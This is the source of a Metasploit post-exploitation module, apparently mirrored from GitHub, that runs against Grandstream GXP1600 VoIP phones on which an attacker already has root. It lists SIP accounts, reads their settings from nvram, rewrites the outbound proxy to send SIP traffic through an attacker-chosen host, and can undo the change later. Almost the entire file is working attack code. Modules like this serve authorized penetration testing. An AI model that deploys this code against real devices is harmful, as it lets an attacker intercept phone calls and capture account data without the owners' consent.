Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/capture/grandstream_gxp1600_sip.rb
36033 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'GrandStream GXP1600 proxy SIP traffic',
15
'Description' => %q{
16
This capture module works against Grandstream GXP1600 series VoIP devices and can reconfigure the device to use an
17
arbitrary SIP proxy. You can first leverage the `exploit/linux/http/grandstream_gxp1600_unauth_rce` exploit
18
module to get a root session on a target GXP1600 series device before running this post module.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'sfewer-r7'
23
],
24
'Platform' => ['linux'],
25
'SessionTypes' => ['shell', 'meterpreter'],
26
'Actions' => [
27
['list', { 'Description' => 'List all SIP accounts.' }],
28
['start', { 'Description' => 'Start proxying SIP account traffic.' }],
29
['stop', { 'Description' => 'Start proxying SIP account traffic.' }]
30
],
31
'DefaultAction' => 'list',
32
'Notes' => {
33
'Stability' => [
34
# The phone service will not crash as we are only reconfiguring the phone.
35
CRASH_SAFE,
36
# If we don't revert the config changes after we proxy a SIP account, that SIP account can't operate if
37
# the remote proxy is down.
38
SERVICE_RESOURCE_LOSS
39
],
40
'Reliability' => [],
41
'SideEffects' => [
42
# We config the phone to use our SIP proxy.
43
CONFIG_CHANGES,
44
# Adding a new SIP proxy may introduce audible latency during phone calls.
45
AUDIO_EFFECTS
46
],
47
'RelatedModules' => [
48
'exploit/linux/http/grandstream_gxp1600_unauth_rce',
49
'post/linux/gather/grandstream_gxp1600_creds'
50
]
51
}
52
)
53
)
54
55
register_options([
56
OptPort.new('SIP_PROXY_UDP_PORT', [true, 'The remote SIP proxy UDP port', 5060 ]),
57
OptAddress.new('SIP_PROXY_HOST', [true, 'The remote SIP proxy host address', nil]),
58
OptInt.new('SIP_ACCOUNT_INDEX', [false, 'The zero-based SIP Account index to operate on.'], conditions: [ 'ACTION', 'in', %w[start stop]]),
59
])
60
end
61
62
def run
63
unless action.name == 'list'
64
fail_with(Failure::BadConfig, 'You must set the SIP_ACCOUNT_INDEX option.') if datastore['SIP_ACCOUNT_INDEX'].blank?
65
66
fail_with(Failure::BadConfig, 'You must set the SIP_ACCOUNT_INDEX to a positive integer.') if datastore['SIP_ACCOUNT_INDEX'].negative?
67
end
68
69
fail_with(Failure::NoTarget, 'Module cannot run against this target.') unless gxp1600?
70
71
sip_account = nil
72
73
unless action.name == 'list'
74
75
fail_with(Failure::BadConfig, 'You must set the SIP_ACCOUNT_INDEX to a valid index value.') if datastore['SIP_ACCOUNT_INDEX'] >= get_num_accounts
76
77
sip_account = get_sip_account(datastore['SIP_ACCOUNT_INDEX'])
78
79
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the SIP account details.') unless sip_account
80
end
81
82
case action.name
83
when 'list'
84
list
85
when 'start'
86
start(sip_account)
87
when 'stop'
88
stop
89
end
90
end
91
92
def list
93
columns = ['Account Index', 'Account Enabled', 'Account Name', 'Display Name', 'User ID', 'Registrar Server', 'Registrar Server Transport', 'Outbound Proxy', 'Can Capture?']
94
95
table = Rex::Text::Table.new(
96
'Header' => 'SIP Accounts',
97
'Indent' => 1,
98
'Columns' => columns,
99
'ColProps' => {
100
'Can Capture?' => {
101
'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new({ 'Yes' => '%grn', 'No' => '%red' })]
102
}
103
}
104
)
105
106
0.upto(get_num_accounts - 1) do |account_idx|
107
sip_account = get_sip_account(account_idx)
108
109
next unless sip_account
110
111
table << [
112
account_idx.to_s,
113
sip_account.dig('AccountEnable', 'data') == '0' ? 'No' : 'Yes',
114
sip_account.dig('AccountName', 'data'),
115
sip_account.dig('DisplayName', 'data'),
116
sip_account.dig('UserID', 'data'),
117
sip_account.dig('RegistrarServer', 'data'),
118
transport_type(sip_account.dig('RegistrarServerTransport', 'data')),
119
sip_account.dig('OutboundProxy', 'data'),
120
can_capture?(sip_account) ? 'Yes' : 'No'
121
]
122
end
123
124
print_line(table.to_s)
125
end
126
127
def start(sip_account)
128
fail_with(Failure::BadConfig, 'This SIP account traffic cannot be captured.') unless can_capture? sip_account
129
130
# modify config...
131
sip_account['AccountEnable']['data'] = 1
132
sip_account['OutboundProxy']['data'] = "#{datastore['SIP_PROXY_HOST']}:#{datastore['SIP_PROXY_UDP_PORT']}"
133
sip_account['UserAgentTransport']['data'] = 0 # udp
134
sip_account['X_GRANDSTREAM_RemoveOBPFromRoute']['data'] = 0 # In route
135
136
# backup current config to the devices /tmp folder, so we can easily restore orig settings, even in a new session.
137
enc_data = Msf::Simple::Buffer.transform(sip_account.to_json.to_s, 'raw', '', { format: 'rc4', key: Rex::Text.sha2(client.core.machine_id) })
138
139
sip_account_backup_path = "/tmp/#{Rex::Text.sha1("#{client.core.machine_id}_#{sip_account['index']}")}"
140
141
fail_with(Failure::BadConfig, 'This SIP account config cannot be backed up.') unless write_file(sip_account_backup_path, enc_data)
142
143
write_config(sip_account)
144
end
145
146
def stop
147
sip_account_backup_path = "/tmp/#{Rex::Text.sha1("#{client.core.machine_id}_#{datastore['SIP_ACCOUNT_INDEX']}")}"
148
149
print_status("Reading SIP account backup configuration: #{sip_account_backup_path}")
150
enc_data = read_file(sip_account_backup_path)
151
152
fail_with(Failure::BadConfig, 'No SIP account backup configuration.') unless enc_data
153
154
print_status('Decrypting SIP account backup configuration.')
155
dec_data = Msf::Simple::Buffer.transform(enc_data, 'raw', '', { format: 'rc4', key: Rex::Text.sha2(client.core.machine_id) })
156
157
sip_account = JSON.parse(dec_data)
158
159
if sip_account['index'].to_i != datastore['SIP_ACCOUNT_INDEX'].to_i
160
fail_with(Failure::BadConfig, 'SIP account index mismatch.')
161
end
162
163
print_status('Reverting SIP account backup configuration')
164
write_config(sip_account, revert: true)
165
166
print_status("Deleting SIP account backup configuration: #{sip_account_backup_path}")
167
file_rm(sip_account_backup_path)
168
rescue JSON::ParserError
169
fail_with(Failure::BadConfig, 'Failed to parse SIP account backup configuration.')
170
end
171
172
def gxp1600?
173
unless is_root?
174
user = cmd_exec('/usr/bin/whoami')
175
print_error("This module requires root permissions. Module running as \"#{user}\" user.")
176
return false
177
end
178
179
unless file? '/usr/bin/nvram'
180
print_error('nvram binary not found')
181
return false
182
end
183
184
model_str = nvram_get(89)
185
186
# These 6 models all share the same firmware for the GXP1600 range.
187
affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]
188
189
unless affected_models.include? model_str
190
print_error("Phone is not a GXP1600 model. Detected model \"#{model_str}\".")
191
return false
192
end
193
194
print_status("Module running against phone model #{model_str}")
195
true
196
end
197
198
def nvram_get(pvalue)
199
cmd_exec("/usr/bin/nvram get #{pvalue}")
200
end
201
202
def nvram_set(pvalue, data)
203
cmd_exec("/usr/bin/nvram xet #{pvalue}=\"#{data.to_s.gsub('"', '\\"')}\"")
204
end
205
206
def nvram_commit
207
# commit the changes to nvram
208
cmd_exec('/usr/bin/nvram commit')
209
210
# dbus_session will be something like "unix:path=/tmp/dbus-NS7MvuwBIA,guid=857fea90b077e2fbf8226a770000000e"
211
dbus_session = cmd_exec('/usr/bin/nvram get dbus_session')
212
213
# force the phone to pick up the changes
214
cmd_exec("DBUS_SESSION_BUS_ADDRESS=#{dbus_session} /usr/bin/dbus-send --session /com/grandstream/dbus/gui com.grandstream.dbus.signal.cfupdated")
215
end
216
217
def write_config(sip_account, revert: false)
218
changes = 0
219
220
sip_account.each_value do |v|
221
next unless v.instance_of? Hash
222
223
next if v['data'] == v['orig_data']
224
225
if revert
226
nvram_set(v['pvalue'], v['orig_data'])
227
else
228
nvram_set(v['pvalue'], v['data'])
229
end
230
231
changes += 1
232
end
233
234
nvram_commit unless changes.zero?
235
end
236
237
def get_num_accounts
238
read_file('/proc/gxp/dev_info/hw_features/num_accts').to_i
239
end
240
241
def get_sip_account(idx)
242
# The GXP1600 series supports up to 6 SIP accounts, depending on the model.
243
return nil unless (0..5).include?(idx)
244
245
sip_accounts = {
246
'AccountEnable' => [271, 401, 501, 601, 1701, 1801],
247
'AccountName' => [270, 417, 517, 617, 1717, 1817],
248
'DisplayName' => [3, 407, 507, 607, 1707, 1807],
249
'AuthPassword' => [34, 406, 506, 606, 1706, 1806],
250
'UserID' => [35, 404, 504, 604, 1704, 1804],
251
'AuthUserName' => [36, 405, 505, 605, 1705, 1805],
252
'RegistrarServer' => [47, 402, 502, 602, 1702, 1802],
253
'RegistrarServerTransport' => [130, 448, 548, 648, 1748, 1848], # 0 - udp, 1 - tcp, 2 - tcp/tls
254
'OutboundProxy' => [48, 403, 503, 603, 1703, 1803],
255
'UserAgentPort' => [40, 413, 513, 613, 1713, 1813],
256
'UserAgentTransport' => [130, 448, 548, 648, 1748, 1848], # 0 - udp, 1 - tcp, 2 - tcp/tls
257
'X_GRANDSTREAM_RemoveOBPFromRoute' => [2305, 2405, 2505, 2605, 2705, 2805] # 0 - In route, 1 - Not in route, 2 - Always send to
258
}
259
260
sip_account = {
261
'index' => idx
262
}
263
264
sip_accounts.each do |pvalue_name, pvalue_array|
265
data = nvram_get(pvalue_array[idx])
266
sip_account[pvalue_name] = {
267
'pvalue' => pvalue_array[idx],
268
'data' => data.dup,
269
'orig_data' => data.dup
270
}
271
end
272
273
sip_account
274
end
275
276
def transport_type(sip_transport)
277
case sip_transport
278
when '0'
279
'udp'
280
when '1'
281
'tcp'
282
when '2'
283
'tcp/tls'
284
else
285
'unknown'
286
end
287
end
288
289
def can_capture?(sip_account)
290
!sip_account.dig('RegistrarServer', 'data').blank? &&
291
(transport_type(sip_account.dig('RegistrarServerTransport', 'data')) == 'udp') &&
292
(transport_type(sip_account.dig('UserAgentTransport', 'data')) == 'udp')
293
end
294
295
end
296
297